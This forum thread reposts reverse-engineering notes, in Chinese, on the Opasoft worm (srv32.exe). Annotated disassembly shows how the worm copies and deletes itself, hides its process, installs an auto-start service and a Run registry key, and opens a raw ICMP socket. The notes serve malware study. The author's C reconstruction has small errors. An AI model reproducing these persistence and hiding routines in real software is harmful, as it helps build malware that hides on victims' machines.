| 查看: 1443 | 回复: 12 | |||
| 当前主题已经存档。 | |||
| 当前只显示满足指定条件的回帖,点击这里查看本话题的所有回帖 | |||
sdlj8051金虫 (著名写手)
|
[交流]
[zt]蠕虫 srv32.exe 逆向分析笔记(仅供技术交流)
|
||
|
1 -- 启动篇 文件名称:srv32.exe 蠕虫名称:Net-Worm.Win32.Opasoft.s 工具: IDA 4.5.1, OllyDbg V1.10 脱壳,用IDA反汇编,到程序的开始位置: CODE:00401000 start proc near CODE:00401000 enter 314h, 0 CODE:00401004 lea eax, [ebp+ExistingFileName] ; 存储病毒路径+名称 CODE:0040100A push 100h ; nSize CODE:0040100F push eax ; lpFilename CODE:00401010 push 0 ; hModule CODE:00401012 call GetModuleFileNameA ; 获得病毒的路径名称 CODE:00401017 call GetCommandLineA CODE:0040101C mov esi, eax ;程序首先调用GetModuleFileNameA和GetCommandLineA得到程序所在路径,文件名称和参数信息。 CODE:0040101E cld CODE:0040101F mov ah, 20h CODE:00401021 lodsb ;把DS:[ESI]指向的字节存到AL中,即第一个字符,这里ESI指向命令行字符串 CODE:00401022 cmp al, 22h ; 比较ESI指向的第一个字符是否是:双引号 CODE:00401024 jnz short loc_401028 ; 在这里没有跳转 CODE:00401026 mov ah, al CODE:00401028 loc_401028: CODE:00401028 lodsb CODE:00401029 test al, al CODE:0040102B jz short loc_40105C ; 判断是否到命令行字符串的结束符 CODE:0040102D cmp al, ah ; 比较 CODE:0040102F jnz short loc_401028 ;找下一个 双引号 出现的位置,即定位到命令行的程序名称末尾,再往后可能就是参数了 CODE:00401031 loc_401031: lodsb CODE:00401032 test al, al ; 判断是否到命令行字符串的结束符 CODE:00401034 jz short loc_40105C CODE:00401036 cmp al, 20h CODE:00401038 jz short loc_401031 ;取第二此出现双引号以后的第一个非空格字符,当然是参数了 CODE:0040103A and al, 0DFh ; 小写字母转换成大写字母 CODE:0040103C cmp al, 55h ; 命令行参数-'U' CODE:0040103E jz loc_401107 CODE:00401044 cmp al, 44h ; 参数'D' CODE:00401046 jz loc_401165 CODE:0040104C cmp al, 43h ; 参数'C' CODE:0040104E jz loc_401170 CODE:00401054 cmp al, 53h ; 参数'S' CODE:00401056 jz loc_4011DA ;把参数转换成大写,跳到相应的处理代码,如果没有参数就继续执行,我们先看有参数的情况 先来看参数U吧,用OllyDbg打开Srv32.exe,选择菜单调试->参数,加上参数u,找到loc_401107,按F4执行到: CODE:00401107 loc_401107: CODE:00401107 push esi ;耶,怎么用ESI,esi已经指向命令行字符串的末尾 了啊?先不管看看下面做什么操作 CODE:00401108 call sub_40132B ;调用了个子程序进去看看 CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; 病毒路径+名称 CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040132B sub_40132B proc near CODE:0040132F loc_40132F: CODE:0040132F push [ebp+lpFileName] ;?这里的文件名为空(PUSH ESI) CODE:00401332 call DeleteFileA ;删除文件,文件名为空,搞什么鬼 CODE:00401337 test eax, eax CODE:00401339 jnz short locret_401351 ;DeleteFileA成功退出Sub_40132B CODE:0040133B call GetLastError ;在这里我们返回值为3(系统找不到指定的路径) CODE:00401340 cmp eax, 2 ; 找不到指定文件 CODE:00401343 jz short locret_401351 ; 退出 CODE:00401345 push 3E8h ; dwMilliseconds CODE:0040134A call Sleep CODE:0040134F jmp short loc_40132F ;程序在这里一直循环,难道是BUG,不会吧? CODE:00401351 locret_401351: CODE:00401351 leave CODE:00401352 retn 4 CODE:00401352 sub_40132B endp ;sub_40132B是一段删除文件的操作,而文件名就是[esi],看来参数U后面还得加上个文件名,我们把参数改成 uabc.txt,继续往下看 从sub_40132B出来: CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; 病毒路径+名称 CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040111E jz loc_401218 ; CopyFile失败跳转 把病毒拷贝到新的路径,哦,U后面的参数是拷贝病毒的位置和新的名字,如果这个新的路径有这个文件就~~~~~ ~~调用sub_40132B函数删除这个文件(真狠啊!) 现在知道sub_40132B的作用了,好咱们继续往下走。 CODE:00401124 lea edi, [ebp+var_300] CODE:0040112A push esi CODE:0040112B push edi CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300] CODE:00401131 push edi CODE:00401132 call lstrlen CODE:00401137 add edi, eax CODE:00401139 mov ax, 4420h CODE:0040113D stosw ; 存储0x4420 CODE:0040113F lea eax, [ebp+ExistingFileName] CODE:00401145 push eax CODE:00401146 push edi CODE:00401147 call lstrcpy CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName CODE:00401152 push eax CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程 CODE:00401158 test eax, eax ; eax为CreateProcessA返回值 CODE:0040115A jnz locret_40123C ; 创建进程成功跳转,执行新进程,退出此程序 CODE:00401160 jmp loc_401218 这段代码中srv32通过调用CreateProcess创建了一个进程,新进程的执行文件就是上面CopyFile函数拷贝出的 srv32的一个拷贝。 如果创建进程成功就执行新的进程,退出srv32;否则跳转到如下位置: CODE:00401218 loc_401218: CODE:00401218 push offset aKernel32_dll ; lpModuleName CODE:0040121D call GetModuleHandleA CODE:00401222 push offset aRegisterservic ; lpProcName CODE:00401227 push eax ; hModule CODE:00401228 call GetProcAddress ; 获得RegisterServiceProcess(Win9x函数)地址 CODE:0040122D test eax, eax CODE:0040122F jz short loc_401237 CODE:00401231 push 1 ; dwType: CODE:00401231 ; RSP_SIMPLE_SERVICE = 1 隐藏进程 CODE:00401231 ; RSP_UNREGISTER_SERVICE = 0 取消进程隐藏 CODE:00401231 ; CODE:00401233 push 0 ; dwPID = NULL 代表当前进程 CODE:00401235 call eax ; 调用RegisterServiceProcess函数 CODE:00401237 CODE:00401237 loc_401237: CODE:00401237 call sub_40123E CODE:0040123C CODE:0040123C locret_40123C: CODE:0040123C leave CODE:0040123D retn CODE:0040123D start endp ;如果创建进程没有成功,调用RegisterServiceProcess函数来隐藏进程,最后调用sub_40123E。 ;注:RegisterServiceProcess 是Win9x中一个未公开的API函数,调用时需要通过GetProcAddress得到其地址, ;参数dwType为1时隐藏进程,为1时取消隐藏,参数dwPID为进程的PID,为零则表示当前进程。 再看下一个参数'D': CODE:00401165 loc_401165: CODE:00401165 push esi CODE:00401166 call sub_40132B CODE:0040116B jmp loc_401218 ;和参数 'U' 一样也调用了sub_40132B,只是少了CopyFile的动作,直接跳转到了RegisterServiceProcess ;看来D就是用来删除指定文件的 继续参数'C': :00401170 loc_401170: CODE:00401170 call sub_401355 ; 调用了GetProcAddress得到OpenSCManager.. ;等函数的地址 CODE:00401175 test eax, eax ; 返回1函数 Sub_401355调用成功,0失败。 CODE:00401177 jz loc_401218 ; 失败则跳转 [ Last edited by sdlj8051 on 2006-10-6 at 11:24 ] |
» 猜你喜欢
计算机、0854电子信息(085401-058412)调剂
已经有5人回复
国自然申请面上模板最新2026版出了吗?
已经有13人回复
基金委咋了?2026年的指南还没有出来?
已经有3人回复
Materials Today Chemistry审稿周期
已经有5人回复
溴的反应液脱色
已经有7人回复
推荐一本书
已经有12人回复
基金申报
已经有4人回复
纳米粒子粒径的测量
已经有7人回复
常年博士招收(双一流,工科)
已经有4人回复
有没有人能给点建议
已经有5人回复
sdlj8051
金虫 (著名写手)
- 应助: 0 (幼儿园)
- 贵宾: 0.1
- 金币: 1149.8
- 红花: 3
- 帖子: 2254
- 在线: 18.1小时
- 虫号: 71297
- 注册: 2005-05-30
- 专业: 电路与系统
2 -- 初始化篇
|
2 -- 初始化篇 文件名称:srv32.exe 蠕虫名称:Net-Worm.Win32.Opasoft.s 工具: IDA 4.5.1, OllyDbg V1.10 CODE:0040123E sub_40123E proc near CODE:0040123E Buffer = byte ptr -100h CODE:0040123E enter 100h, 0 CODE:00401242 push offset aSrv3231415 ; lpName CODE:00401247 push 0FFFFFFFFh ; bInitialOwner CODE:00401249 push 0 ; lpMutexAttributes CODE:0040124B call CreateMutexA ; 创建一个互斥对象"Srv3231415" CODE:00401250 call GetLastError CODE:00401255 test eax, eax CODE:00401257 jnz locret_401329 ; 创建互斥失败则跳转;退出程序 CODE:0040125D call GetCurrentProcess CODE:00401262 push 40h ; dwPriorityClass CODE:00401264 push eax ; hProcess CODE:00401265 call SetPriorityClass ; 设置优先级为IDLE_PRIORITY_CLASS = 0x40 CODE:0040126A lea esi, [ebp+Buffer] CODE:00401270 push 100h ; uSize CODE:00401275 push esi ; lpBuffer CODE:00401276 call GetWindowsDirectoryA ; 获得Windows目录 CODE:0040127B push esi ; lpPathName CODE:0040127C call SetCurrentDirectoryA ; 设置当前目录为Windows目录 CODE:00401281 call sub_401C98 ; 查询是否写了注册表项 CODE:00401281 ; HKLM\Software\Microsoft\Windows\CurrentVersion\srv32 CODE:00401286 cmp ds ata, 0CODE:0040128D jz short loc_401294 ; 没有写注册表项或 CODE:0040128D ; HKLM\...\srv32\D = 0 则跳转 CODE:0040128F call sub_4030EB 进入sub_40123E后,首先创建了一个互斥Srv3231415,失败的话此程序就退出了; 然后又去查询注册表HKLM\Software\Microsoft\Windows\CurrenteVersion\srv32下 "D"的值,如果srv32存在D的键值不为0则调用sub_4030EB,代码如下: CODE:004030EB sub_4030EB proc near CODE:004030EB ThreadId = dword ptr -4 CODE:004030EB enter 4, 0 CODE:004030EF cmp ds:dword_406004, 0 CODE:004030F6 jnz locret_403184 CODE:004030FC mov ds:dword_406004, 1 CODE:00403106 push 18Ch ; uBytes CODE:0040310B push 0 ; uFlags CODE:0040310D call LocalAlloc CODE:00403112 mov esi, eax CODE:00403114 push esi ; lpWSAData CODE:00403115 push 101h ; wVersionRequested CODE:0040311A call WSAStartup CODE:0040311F mov edi, eax CODE:00403121 push esi ; hMem CODE:00403122 call LocalFree CODE:00403127 test edi, edi CODE:00403129 jnz short loc_403186 CODE:0040312B push 1 ; protocol:ICMP CODE:0040312D push 3 ; type: SOCK_RAW CODE:0040312F push 2 ; AF_INET CODE:00403131 call socket CODE:00403136 cmp eax, 0FFFFFFFFh CODE:00403139 jz short loc_403192 CODE:0040313B mov ds:s, eax CODE:00403140 lea eax, [ebp+ThreadId] CODE:00403143 push eax ; lpThreadId CODE:00403144 push 0 ; dwCreationFlags CODE:00403146 push ds:s ; lpParameter CODE:0040314C push offset sub_403045 ; lpStartAddress CODE:00403151 push 1000h ; dwStackSize CODE:00403156 push 0 ; lpThreadAttributes CODE:00403158 call CreateThread CODE:0040315D lea eax, [ebp+ThreadId] CODE:00403160 push eax ; lpThreadId CODE:00403161 push 0 ; dwCreationFlags CODE:00403163 push ds:s ; lpParameter CODE:00403169 push offset sub_402EEE ; lpStartAddress CODE:0040316E push 1000h ; dwStackSize CODE:00403173 push 0 ; lpThreadAttributes CODE:00403175 call CreateThread CODE:0040317A mov ds:dword_406004, 2 CODE:00403184 CODE:00403184 locret_403184: CODE:00403184 leave CODE:00403185 retn CODE:00403186 ; /////////////////////////////////////////////////////////////////////////// CODE:00403186 CODE:00403186 loc_403186: ; CODE XREF: sub_4030EB+3Ej CODE:00403186 mov ds:dword_406004, 0 CODE:00403190 leave CODE:00403191 retn CODE:00403192 ; /////////////////////////////////////////////////////////////////////////// CODE:00403192 CODE:00403192 loc_403192: ; CODE XREF: sub_4030EB+4Ej CODE:00403192 call WSACleanup CODE:00403197 mov ds:dword_406004, 0 CODE:004031A1 leave CODE:004031A2 retn CODE:004031A2 sub_4030EB endp 在sub_4030EB里打开了socket,并创建了两个线程(动作越来越明显了 ^…^)。 由于我第一次执行没有此键值所以跳转了,我们就先看跳转的情况吧: CODE:00401294 loc_401294: CODE:00401294 mov ds:dword_406587, 0 CODE:0040129E call sub_4033E7 调用了一个call sub_4033E7跟进去看看... CODE:004033E7 sub_4033E7 proc near CODE:004033E7 push ebp CODE:004033E8 mov esi, offset unk_406DB4 CODE:004033ED mov edi, offset dword_407750 CODE:004033F2 mov ebp, 0 CODE:004033F7 loc_4033F7: CODE:004033F7 cmp ebp, 20h CODE:004033FA jnb short loc_40342F ; 不低于0x20就跳转,退出循环1 CODE:004033FC mov ah, 1 CODE:004033FE loc_4033FE: CODE:004033FE cmp ah, 40h CODE:00403401 ja short loc_40342A ; 大于0x40就跳转 CODE:00403403 test ah, 1 CODE:00403406 jz short loc_403409 ; ah的第0位为0则跳转 CODE:00403408 lodsb CODE:00403409 loc_403409: CODE:00403409 shl al, 1 CODE:0040340B jnb short loc_403417 CODE:0040340D movzx ecx, ss:byte_406EB4[ebp] CODE:00403414 bts [edi], ecx CODE:00403417 loc_403417: CODE:00403417 inc ebp CODE:00403418 test ebp, 3 CODE:0040341E jnz short loc_403409 CODE:00403420 sub ebp, 4 CODE:00403423 inc ah CODE:00403425 add edi, 4 CODE:00403428 jmp short loc_4033FE CODE:0040342A ; ////////////////////////////////////////////////////////////// CODE:0040342A loc_40342A: CODE:0040342A add ebp, 4 CODE:0040342D jmp short loc_4033F7 CODE:0040342F ; /////////////////////////////////////////////////////////////// CODE:0040342F CODE:0040342F loc_40342F: CODE:0040342F pop ebp CODE:00403430 retn CODE:00403430 sub_4033E7 endp 这段代码用C表示: BYTE array_406DB4[] = { 0xE0, 0x4F, 0xD7, 0x14, 0x2E, 0xF2, 0xBD, 0x81, 0x3A, 0xA6, 0x6C, 0xCB, 0x59, 0x95, 0x03, 0x78, 0x4F, 0x1C, 0xE8, 0x82, 0xD4, 0x69, 0x21, 0xB7, 0xF5, 0xCB, 0x93, 0x7E, 0x3A, 0xA0, 0x56, 0x0D, 0xF3, 0x1D, 0x84, 0xE7, 0x6F, 0xB2, 0x38, 0x4E, 0x9C, 0x70, 0x21, 0xDA, 0xC6, 0x09, 0x5B, 0xA5, 0x0D, 0xE8, 0x7A, 0xB1, 0xA3, 0x4F, 0xD4, 0x12, 0x5B, 0x86, 0xC7, 0x6C, 0x90, 0x35, 0x2E, 0xF9, 0xAD, 0x07, 0x90, 0xE9, 0x63, 0x34, 0xF6, 0x5A, 0x12, 0xD8, 0xC5, 0x7E, 0xBC, 0x4B, 0x2F, 0x81, 0xD1, 0x6A, 0x4D, 0x90, 0x86, 0xF9, 0x38, 0x07, 0xB4, 0x1F, 0x2E, 0xC3, 0x5B, 0xA5, 0xE2, 0x7C, 0x7D, 0xD8, 0xEB, 0x35, 0x06, 0x6F, 0x90, 0xA3, 0x14, 0x27, 0x82, 0x5C, 0xB1, 0xCA, 0x4E, 0xF9, 0xA3, 0x6F, 0x90, 0x06, 0xCA, 0xB1, 0x7D, 0xD8, 0xF9, 0x14, 0x35, 0xEB, 0x5C, 0x27, 0x82, 0x4E, 0x2E, 0xCB, 0x42, 0x1C, 0x74, 0xA7, 0xBD, 0x61, 0x85, 0x50, 0x3F, 0xFA, 0xD3, 0x09, 0xE8, 0x96, 0x4B, 0x28, 0x1C, 0xB7, 0xA1, 0xDE, 0x72, 0x8D, 0xF6, 0x9F, 0xC0, 0x59, 0x6A, 0x34, 0x05, 0xE3, 0xCA, 0x1F, 0xA4, 0xF2, 0x97, 0x2C, 0x69, 0x85, 0x06, 0xD1, 0x3D, 0x4E, 0xE0, 0x7B, 0x53, 0xB8, 0x94, 0xE3, 0xF2, 0x5C, 0x29, 0x85, 0xCF, 0x3A, 0x7B, 0x0E, 0x41, 0xA7, 0x16, 0xD0, 0xB8, 0x6D, 0x4D, 0xB0, 0x2B, 0xE7, 0xF4, 0x09, 0x81, 0xDA, 0x3E, 0xC3, 0x95, 0x7C, 0x52, 0xAF, 0x68, 0x16, 0x16, 0x4B, 0xBD, 0xD8, 0xC1, 0x34, 0x7A, 0xE7, 0xA9, 0xF5, 0x60, 0x8F, 0x0E, 0x52, 0x93, 0x2C, 0xD1, 0x2F, 0x8D, 0x48, 0x6A, 0xF3, 0xB7, 0x14, 0xAC, 0x95, 0x36, 0xEB, 0x50, 0x0E, 0xC9, 0x72, 0x72, 0xB1, 0x4E, 0x17, 0x94, 0xCA, 0xE8, 0x2D, 0x0F, 0x6C, 0xA9, 0xD0, 0xF3, 0x35, 0x56, 0x8B } BYTE array_406EB4[] = { 0x1A, 0x12, 0x0C, 0x04, 0x16, 0x07, 0x01, 0x11, 0x0B, 0x13, 0x05, 0x1D, 0x09, 0x0F, 0x19, 0x02, 0x1B, 0x15, 0x0A, 0x00, 0x1F, 0x06, 0x18, 0x10, 0x03, 0x17, 0x0D, 0x1C, 0x1E, 0x08, 0x14, 0x0E }; /*****十进制表示 BYTE array_406EB4[] = { 26,18,12,04,22,07,01,17, 11,19,05,29,09,15,25,02, 27,21,10,00,31,06,24,16, 03,23,13,28,30,08,20,14 } *****/ DWORD pdw_407750[8*0x40]; //i=ebp, j=ah, k=al int i,j,m=0,n; BYTE k,temp; BOOL b; for(i=0; i< 0x20; i+=4) { j = 1; while(j <= 0x40) { //奇偶判断 if( (j & 1) != 0) { k = array_406DB4[m]; m++; } do{ b = k & 0x80; k << 1; if(b) { temp = array_406EB4; *pwd_407750 |= (temp+1); } i++; }while( (i&3) !=0 ); i -= 4; j++ pdw_407750++; //edi += 4; } } |
3楼2006-08-23 13:24:35
sdlj8051
金虫 (著名写手)
- 应助: 0 (幼儿园)
- 贵宾: 0.1
- 金币: 1149.8
- 红花: 3
- 帖子: 2254
- 在线: 18.1小时
- 虫号: 71297
- 注册: 2005-05-30
- 专业: 电路与系统
|
;用参数'C'时,调用了下面的函数sub_401355 CODE:00401355 sub_401355 proc near CODE:00401355 hModule = dword ptr -8 CODE:00401355 var_4 = dword ptr -4 CODE:00401355 enter 8, 0 CODE:00401359 push edi CODE:0040135A mov [ebp+var_4], 0 CODE:00401361 push offset aAdvapi32 ; lpLibFileName CODE:00401366 call LoadLibraryA CODE:0040136B test eax, eax CODE:0040136D jz short loc_4013A2 ; 调用LoadLibrary失败时跳转 CODE:0040136F mov [ebp+hModule], eax CODE:00401372 mov edi, offset aOpenscmanagera ; "OpenSCManagerA" CODE:00401377 mov esi, offset dword_406193 CODE:0040137C CODE:0040137C loc_40137C: CODE:0040137C push edi ; lpProcName CODE:0040137D push [ebp+hModule] ; hModule CODE:00401380 call GetProcAddress ; 获得函数Advapi32!OpenSCManagerA的地址 CODE:00401385 test eax, eax CODE:00401387 jz short loc_4013A2 ; 调用GetProcAddress 失败时跳转 CODE:00401389 mov [esi], eax ; 把OpenSCManager的地址存到[ESI]中 CODE:0040138B add esi, 4 CODE:0040138E xor eax, eax CODE:00401390 xor ecx, ecx CODE:00401392 not ecx CODE:00401394 repne scasb CODE:00401396 cmp byte ptr [edi], 0 CODE:00401399 jnz short loc_40137C ; 循环,取 CODE:00401399 ; 00406127 aCreateservicea db 'CreateServiceA' CODE:00401399 ; 00406136 aCloseserviceha db 'CloseServiceHandle' CODE:00401399 ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA' CODE:00401399 ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA' CODE:00401399 ; 00406181 aSetservicestat db 'SetServiceStatus',0 CODE:00401399 ; 函数的地址 CODE:0040139B mov [ebp+var_4], 1 ; 修改返回值 CODE:004013A2 CODE:004013A2 loc_4013A2: CODE:004013A2 mov eax, [ebp+var_4] ; 成功返回值1,失败返回0 CODE:004013A5 pop edi CODE:004013A6 leave CODE:004013A7 retn CODE:004013A7 sub_401355 endp ;函数sub_401355 又调用了API函数LoadLibrary("Advapi32" 得到Advapi32的模块句柄,然后又循环调用了GetProcAddress 得到OpenSCManagerA, CreateServiceA, CloseServiceHandle, StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatus这些函数的地址。 然后就调用OpenSCManager,CreateServiceA,创建一个服务srv32指向srv32程序,启动参数为'S' 如下代码: CODE:0040117D push 2 CODE:0040117F push 0 ; SERVICES_ACTIVE_DATABASE CODE:00401181 push 0 ; LocalMachine CODE:00401183 call ds:dword_406193 ; OpenSCManager函数 CODE:00401189 test eax, eax CODE:0040118B jz loc_401218 ; OpenSCManager失败则跳转 CODE:00401191 mov esi, eax ; handle of service control manager database CODE:00401193 lea edi, [ebp+ExistingFileName] ; 病毒路径+文件名 CODE:00401199 push edi CODE:0040119A call lstrlen ; (病毒路径+文件名)的长度 CODE:0040119F mov edx, edi CODE:004011A1 add edi, eax CODE:004011A3 mov eax, 5320h CODE:004011A8 stosd ; 存储0x5320h = " S" CODE:004011A9 xor ecx, ecx CODE:004011AB push ecx CODE:004011AC push ecx CODE:004011AD push ecx CODE:004011AE push ecx CODE:004011AF push ecx CODE:004011B0 push edx ; "ExistingFileName" + " S" CODE:004011B1 push 1 ; dwErrorControl = SERVICE_ERROR_NORMAL CODE:004011B3 push 2 ; dwStartType = SERVICE_AUTO_START CODE:004011B3 ; 自动启动 CODE:004011B5 push 10h ; dwServiceType = CODE:004011B5 ; SERVICE_WIN32_OWN_PROCESS CODE:004011B7 push 0F01FFh ; dwDesiredAccess CODE:004011BC push offset aSrv32_0 ; lpDisplayName = "srv32" CODE:004011C1 push offset aSrv32_0 ; lpServiceName = "srv32" CODE:004011C6 push esi ; handle of service control manager database CODE:004011C7 call ds:dword_406197 ; CreateServiceA函数 CODE:004011CD test eax, eax CODE:004011CF jz short loc_401218 CODE:004011D1 push eax CODE:004011D2 call ds:dword_40619B ; CloseServiceHandle函数 CODE:004011D8 jmp short loc_401218 ;最后跳转到loc_401218调用RegsterServiceProcess隐藏进程,再调用sub_40123E 再看参数'S': CODE:004011DA loc_4011DA: CODE:004011DA call sub_401355 CODE:004011DF test eax, eax CODE:004011E1 jz short loc_401218 ; 函数sub_401355失败跳转 CODE:004011E3 mov [ebp+var_314], offset aSrv32_0 ; "Srv32" CODE:004011ED mov [ebp+var_310], offset loc_401467 CODE:004011F7 xor eax, eax CODE:004011F9 mov [ebp+var_30C], eax CODE:004011FF mov [ebp+var_308], eax CODE:00401205 lea eax, [ebp+var_314] CODE:0040120B push eax CODE:0040120C call ds:dword_40619F ; StartServiceCtrlDispatcherA CODE:00401212 test eax, eax CODE:00401214 jnz short locret_40123C ; StartServiceCtrlDispatcherA调用成功跳转 CODE:00401216 jmp short loc_401218 同样也调用了函数sub_401355来得到OpenSCManager, StartServiceCtrlDispatcherA等函数的地址,随后调用 StartServiceCtrlDispatcherA(这个函数应该是来启动有参数'C'创建的服务的,具体大家还是看一下MSDN吧。) 如果启动服务失败就隐藏进程后调用sub_40123E。 上面都是一些加了参数的启动方式,但是一般病毒第一次启动时可能是没有参数的,因为第一次启动最可能就是 不小心双击了被感染程序,所以我们再看看没有参数时srv32的启动过程是什么样子的。 CODE:0040105C loc_40105C: CODE:0040105C call GetVersion CODE:00401061 bt eax, 1Fh ; 测试最高位(31 bit)是否为1,1为win9x平台 CODE:00401065 jnb loc_401218 ; 0为NT平台,最高位为0(CF = 0)时跳转, CODE:00401065 ; 也就是系统为NT平台时跳转到loc_401218执行 CODE:00401065 ; RegisterServiceProcess隐藏进程 CODE:0040106B lea edi, [ebp+ExistingFileName] 首先调用GetVersion API函数得到操作系统平台信息,如果为NT平台跳转到loc_401218,再调用sub_40123E。 如果为9x平台,继续往下执行... CODE:0040106B lea edi, [ebp+ExistingFileName] CODE:00401071 push edi CODE:00401072 call lstrlen ; 计算文件名+路径的长度 CODE:00401077 mov ecx, eax CODE:00401079 add edi, eax CODE:0040107B dec edi CODE:0040107C mov al, 5Ch CODE:0040107E std CODE:0040107F repne scasb CODE:00401081 cld CODE:00401082 add edi, 2 ; 定位文件名 CODE:00401085 push offset aNew_exe ; "new.exe" CODE:0040108A push edi CODE:0040108B call lstrcmpi ; 不区分大小写比较 CODE:00401090 test eax, eax CODE:00401092 jnz loc_401218 ; 文件名不是"new.exe"则跳转 这里不知道为什么和"new.exe"比较??? 我得文件名是srv32.exe当然就跳转的loc_401218然后调用sub_40123E, 如果文件名是new.exe则执行下面的代码 CODE:00401098 lea esi, [ebp+Buffer] CODE:0040109E push 100h ; uSize CODE:004010A3 push esi ; lpBuffer CODE:004010A4 call GetWindowsDirectoryA CODE:004010A9 push esi CODE:004010AA call lstrlen CODE:004010AF add eax, esi CODE:004010B1 push offset aSrv32_exe ; "\\Srv32.exe" CODE:004010B6 push eax CODE:004010B7 call lstrcpy CODE:004010BC lea eax, [ebp+hKey] CODE:004010C2 push eax ; phkResult CODE:004010C3 push 3 ; samDesired CODE:004010C5 push 0 ; ulOptions CODE:004010C7 push offset aSoftwareMicros ; lpSubKey CODE:004010CC push 80000002h ; HKLM CODE:004010D1 call RegOpenKeyExA CODE:004010D6 cmp eax, 0 CODE:004010D9 jnz loc_401218 CODE:004010DF push esi CODE:004010E0 call lstrlen CODE:004010E5 inc eax CODE:004010E6 push eax ; cbData CODE:004010E7 push esi ; lpData CODE:004010E8 push 1 ; dwType CODE:004010EA push 0 ; Reserved CODE:004010EC push offset aSrv32 ; lpValueName CODE:004010F1 push [ebp+hKey] ; hKey CODE:004010F7 call RegSetValueExA CODE:004010FC push [ebp+hKey] ; hKey CODE:00401102 call RegCloseKey 写注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项,用处不用说了吧^_^ CODE:00401107 CODE:00401107 loc_401107: CODE:00401107 push esi ; 指定病毒被复制到的路径和文件名,用参数U CODE:00401108 call sub_40132B ; 删除指定文件 CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; 病毒路径+名称 CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040111E jz loc_401218 ; CopyFile失败跳转 把srv32复制到windows目录下 CODE:00401124 lea edi, [ebp+var_300] CODE:0040112A push esi CODE:0040112B push edi CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300] CODE:00401131 push edi CODE:00401132 call lstrlen CODE:00401137 add edi, eax CODE:00401139 mov ax, 4420h CODE:0040113D stosw ; 存储0x4420 = " D" CODE:0040113F lea eax, [ebp+ExistingFileName] CODE:00401145 push eax CODE:00401146 push edi CODE:00401147 call lstrcpy CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName CODE:00401152 push eax CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程 CODE:00401158 test eax, eax ; eax为CreateProcessA返回值 CODE:0040115A jnz locret_40123C ; 创建进程成功跳转,执行新进程,退出此程序 CODE:00401160 jmp loc_401218 然后创建一个进程,带参数'D'执行,参数'd'后面跟的是srv32.exe ,即执行windows目录下的程序后,删除自 身,最后也是跳转到loc_401218,再调用sub_40123E 到这里srv32的前期工作已经做好了,下面就快搞破坏了 |
2楼2006-08-23 13:23:42
sdlj8051
金虫 (著名写手)
- 应助: 0 (幼儿园)
- 贵宾: 0.1
- 金币: 1149.8
- 红花: 3
- 帖子: 2254
- 在线: 18.1小时
- 虫号: 71297
- 注册: 2005-05-30
- 专业: 电路与系统
|
此处生成了256字节如下数据: 00407750 00 10 04 04 00 00 00 00 00 00 04 00 10 10 04 04 ................ 00407760 10 00 04 04 10 10 04 00 10 00 00 00 00 00 04 00 ................ 00407770 00 10 00 00 00 10 04 04 10 10 04 04 00 10 00 00 ................ 00407780 10 10 00 04 10 00 04 04 00 00 00 04 10 00 00 00 ................ 00407790 10 10 00 00 00 10 00 04 00 10 00 04 00 10 04 00 ................ 004077A0 00 10 04 00 00 00 04 04 00 00 04 04 10 10 00 04 ................ 004077B0 10 00 04 00 10 00 00 04 10 00 00 04 10 00 04 00 ................ 004077C0 00 00 00 00 10 10 00 00 10 10 04 00 00 00 00 04 ................ 004077D0 00 00 04 00 10 10 04 04 10 00 00 00 00 00 04 04 ................ 004077E0 00 10 04 04 00 00 00 04 00 00 00 04 00 10 00 00 ................ 004077F0 10 00 04 04 00 00 04 00 00 10 04 00 10 00 00 04 ................ 00407800 00 10 00 00 10 00 00 00 10 10 00 04 10 10 04 00 ................ 00407810 10 10 04 04 10 00 04 00 00 00 04 04 10 10 00 04 ................ 00407820 10 00 00 04 10 10 00 00 10 10 04 00 00 10 04 04 ................ 00407830 10 10 00 00 00 10 00 04 00 10 00 04 00 00 00 00 ................ 00407840 10 00 04 00 00 10 04 00 00 00 00 00 10 00 04 04 ................ 现在还不知道这些数据做什么用的,先继续往下看... CODE:004012A3 loc_4012A3: CODE:004012A3 push offset aSrv32res ; "Srv32Res" CODE:004012A8 call sub_4019A5 ; 打开已存在的文件srv32res,并得到其大小 CODE:004012AD inc eax ; eax为文件srv32res的大小 CODE:004012AE cmp eax, 9 CODE:004012B1 jnb short loc_4012C3 ; 如果文件srv32res大于8个字节则跳转 CODE:004012B3 push offset aSccss ; "sccss" CODE:004012B8 call sub_4019A5 ; 打开文件sccss CODE:004012BD inc eax CODE:004012BE cmp eax, 9 CODE:004012C1 jb short loc_4012C8 ; 如果文件sccss小于8个字节则跳转 这里调用sub_4019A5来判断Windows目录下文件Srv32Res和sccss的大小,第一次执行到这里没有这两个 文件,所以跳转了。 CODE:004012C3 loc_4012C3: CODE:004012C3 call sub_40148D CODE:004012C8 CODE:004012C8 loc_4012C8: CODE:004012C8 call sub_401575 CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0 CODE:004012CF jnz short loc_4012E5 CODE:004012D1 call sub_40148D CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE CODE:004012D8 push ds:hHandle ; hHandle CODE:004012DE call WaitForSingleObject CODE:004012E3 jmp short loc_4012C8 这一段代码会不断执行 sub_401575,sub_40148D直到sub_401575的返回值(eax)不等于0; 